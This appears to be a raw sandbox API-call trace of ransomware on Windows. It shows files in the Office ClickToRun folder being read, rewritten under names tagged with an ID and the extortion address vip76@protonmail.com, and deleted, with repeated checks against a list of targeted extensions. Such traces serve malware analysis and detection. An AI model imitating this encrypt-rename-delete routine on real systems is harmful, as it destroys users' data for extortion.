	[0081.469] WriteFile (in: hFile=0x378, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xee70, lpOverlapped=0x0) returned 1
	[0081.474] ReadFile (in: hFile=0x38c, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.474] WriteFile (in: hFile=0x378, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0081.474] SetEndOfFile (hFile=0x378) returned 1
	[0081.475] CloseHandle (hObject=0x378) returned 1
	[0081.477] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.477] SetEndOfFile (hFile=0x38c) returned 1
	[0081.478] CloseHandle (hObject=0x38c) returned 1
	[0081.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.479] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.479] lstrlenW (lpString=".doc") returned 4
	[0081.479] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.479] lstrlenW (lpString=".docx") returned 5
	[0081.479] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0081.479] lstrlenW (lpString=".pdf") returned 4
	[0081.479] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.479] lstrlenW (lpString=".xls") returned 4
	[0081.479] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.479] lstrlenW (lpString=".xlsx") returned 5
	[0081.479] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0081.479] lstrlenW (lpString=".ppt") returned 4
	[0081.479] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.479] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.479] lstrlenW (lpString=".zip") returned 4
	[0081.479] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.479] lstrlenW (lpString=".rar") returned 4
	[0081.479] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.479] lstrlenW (lpString=".bz2") returned 4
	[0081.479] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.479] lstrlenW (lpString=".7z") returned 3
	[0081.480] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.480] lstrlenW (lpString=".dbf") returned 4
	[0081.480] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.480] lstrlenW (lpString=".1cd") returned 4
	[0081.480] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.480] lstrlenW (lpString=".jpg") returned 4
	[0081.480] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.480] lstrlenW (lpString=".doc") returned 4
	[0081.480] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.480] lstrlenW (lpString=".docx") returned 5
	[0081.480] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0081.480] lstrlenW (lpString=".pdf") returned 4
	[0081.480] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.480] lstrlenW (lpString=".xls") returned 4
	[0081.480] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.480] lstrlenW (lpString=".xlsx") returned 5
	[0081.480] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0081.480] lstrlenW (lpString=".ppt") returned 4
	[0081.480] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.480] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.480] lstrlenW (lpString=".zip") returned 4
	[0081.480] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.480] lstrlenW (lpString=".rar") returned 4
	[0081.480] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.480] lstrlenW (lpString=".bz2") returned 4
	[0081.480] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.481] lstrlenW (lpString=".7z") returned 3
	[0081.481] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.481] lstrlenW (lpString=".dbf") returned 4
	[0081.481] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.481] lstrlenW (lpString=".1cd") returned 4
	[0081.481] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0081.481] lstrlenW (lpString=".jpg") returned 4
	[0081.481] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.481] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0081.481] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0081.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.481] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2776664) returned 1
	[0081.481] CloseHandle (hObject=0x38c) returned 1
	[0081.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20
	[0081.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0081.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1
	[0081.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.483] lstrlenW (lpString=".doc") returned 4
	[0081.483] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0081.483] lstrlenW (lpString=".docx") returned 5
	[0081.483] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0081.484] lstrlenW (lpString=".pdf") returned 4
	[0081.484] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0081.484] lstrlenW (lpString=".xls") returned 4
	[0081.484] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0081.484] lstrlenW (lpString=".xlsx") returned 5
	[0081.484] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0081.484] lstrlenW (lpString=".ppt") returned 4
	[0081.484] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0081.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.484] lstrlenW (lpString=".zip") returned 4
	[0081.484] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0081.484] lstrlenW (lpString=".rar") returned 4
	[0081.484] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0081.484] lstrlenW (lpString=".bz2") returned 4
	[0081.484] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0081.484] lstrlenW (lpString=".7z") returned 3
	[0081.484] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0081.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.484] lstrlenW (lpString=".dbf") returned 4
	[0081.484] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0081.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.484] lstrlenW (lpString=".1cd") returned 4
	[0081.484] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0081.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.484] lstrlenW (lpString=".jpg") returned 4
	[0081.484] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0081.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.484] lstrlenW (lpString=".doc") returned 4
	[0081.484] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0081.484] lstrlenW (lpString=".docx") returned 5
	[0081.484] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0081.484] lstrlenW (lpString=".pdf") returned 4
	[0081.485] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0081.485] lstrlenW (lpString=".xls") returned 4
	[0081.485] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0081.485] lstrlenW (lpString=".xlsx") returned 5
	[0081.485] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0081.485] lstrlenW (lpString=".ppt") returned 4
	[0081.485] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0081.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.485] lstrlenW (lpString=".zip") returned 4
	[0081.485] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0081.485] lstrlenW (lpString=".rar") returned 4
	[0081.485] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0081.485] lstrlenW (lpString=".bz2") returned 4
	[0081.485] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0081.485] lstrlenW (lpString=".7z") returned 3
	[0081.485] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0081.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.485] lstrlenW (lpString=".dbf") returned 4
	[0081.485] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0081.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.485] lstrlenW (lpString=".1cd") returned 4
	[0081.485] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0081.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0081.485] lstrlenW (lpString=".jpg") returned 4
	[0081.485] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0081.488] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.489] lstrlenW (lpString="StreamServer.dll") returned 16
	[0081.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.489] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1053784) returned 1
	[0081.489] CloseHandle (hObject=0x38c) returned 1
	[0081.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20
	[0081.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0081.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.489] lstrlenW (lpString=".doc") returned 4
	[0081.489] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.489] lstrlenW (lpString=".docx") returned 5
	[0081.490] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0081.490] lstrlenW (lpString=".pdf") returned 4
	[0081.490] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.490] lstrlenW (lpString=".xls") returned 4
	[0081.490] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.490] lstrlenW (lpString=".xlsx") returned 5
	[0081.490] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0081.490] lstrlenW (lpString=".ppt") returned 4
	[0081.490] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.490] lstrlenW (lpString=".zip") returned 4
	[0081.490] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.490] lstrlenW (lpString=".rar") returned 4
	[0081.490] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.490] lstrlenW (lpString=".bz2") returned 4
	[0081.490] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.490] lstrlenW (lpString=".7z") returned 3
	[0081.490] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.490] lstrlenW (lpString=".dbf") returned 4
	[0081.490] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.490] lstrlenW (lpString=".1cd") returned 4
	[0081.490] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.490] lstrlenW (lpString=".jpg") returned 4
	[0081.490] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.490] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.490] lstrlenW (lpString=".doc") returned 4
	[0081.490] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.490] lstrlenW (lpString=".docx") returned 5
	[0081.490] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0081.491] lstrlenW (lpString=".pdf") returned 4
	[0081.491] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.491] lstrlenW (lpString=".xls") returned 4
	[0081.491] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.491] lstrlenW (lpString=".xlsx") returned 5
	[0081.491] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0081.491] lstrlenW (lpString=".ppt") returned 4
	[0081.491] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.491] lstrlenW (lpString=".zip") returned 4
	[0081.491] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.491] lstrlenW (lpString=".rar") returned 4
	[0081.491] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.491] lstrlenW (lpString=".bz2") returned 4
	[0081.491] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.491] lstrlenW (lpString=".7z") returned 3
	[0081.491] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.491] lstrlenW (lpString=".dbf") returned 4
	[0081.491] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.491] lstrlenW (lpString=".1cd") returned 4
	[0081.491] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0081.491] lstrlenW (lpString=".jpg") returned 4
	[0081.491] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.491] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.491] lstrlenW (lpString="ucrtbase.dll") returned 12
	[0081.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.534] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=982720) returned 1
	[0081.535] CloseHandle (hObject=0x38c) returned 1
	[0081.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20
	[0081.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0081.535] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.535] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0081.536] GetLastError () returned 0x0
	[0081.536] ReadFile (in: hFile=0x38c, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0xefec0, lpOverlapped=0x0) returned 1
	[0081.913] WriteFile (in: hFile=0x378, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xefed0, lpOverlapped=0x0) returned 1
	[0081.929] ReadFile (in: hFile=0x38c, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.929] WriteFile (in: hFile=0x378, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.929] SetEndOfFile (hFile=0x378) returned 1
	[0081.929] CloseHandle (hObject=0x378) returned 1
	[0081.929] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.929] SetEndOfFile (hFile=0x38c) returned 1
	[0081.937] CloseHandle (hObject=0x38c) returned 1
	[0081.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.937] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1
	[0081.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.938] lstrlenW (lpString=".doc") returned 4
	[0081.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.938] lstrlenW (lpString=".docx") returned 5
	[0081.938] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0081.938] lstrlenW (lpString=".pdf") returned 4
	[0081.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.938] lstrlenW (lpString=".xls") returned 4
	[0081.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.938] lstrlenW (lpString=".xlsx") returned 5
	[0081.938] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0081.938] lstrlenW (lpString=".ppt") returned 4
	[0081.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0081.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.938] lstrlenW (lpString=".zip") returned 4
	[0081.938] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0081.938] lstrlenW (lpString=".rar") returned 4
	[0081.938] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0081.938] lstrlenW (lpString=".bz2") returned 4
	[0081.938] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0081.938] lstrlenW (lpString=".7z") returned 3
	[0081.938] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0081.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.938] lstrlenW (lpString=".dbf") returned 4
	[0081.938] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0081.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.939] lstrlenW (lpString=".1cd") returned 4
	[0081.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0081.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.939] lstrlenW (lpString=".jpg") returned 4
	[0081.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0081.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0081.939] lstrlenW (lpString=".doc") returned 4
	[0081.939] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0081.939] lstrlenW (lpString=".docx") returned 5
	[0081.939] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0081.939] lstrlenW (lpString=".pdf") returned 4
	[0081.939] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0081.939] lstrlenW (lpString=".xls") returned 4
	[0081.939] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0081.939] lstrlenW (lpString=".xlsx") returned 5
	[0081.939] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0081.939] lstrlenW (lpString=".ppt") returned 4
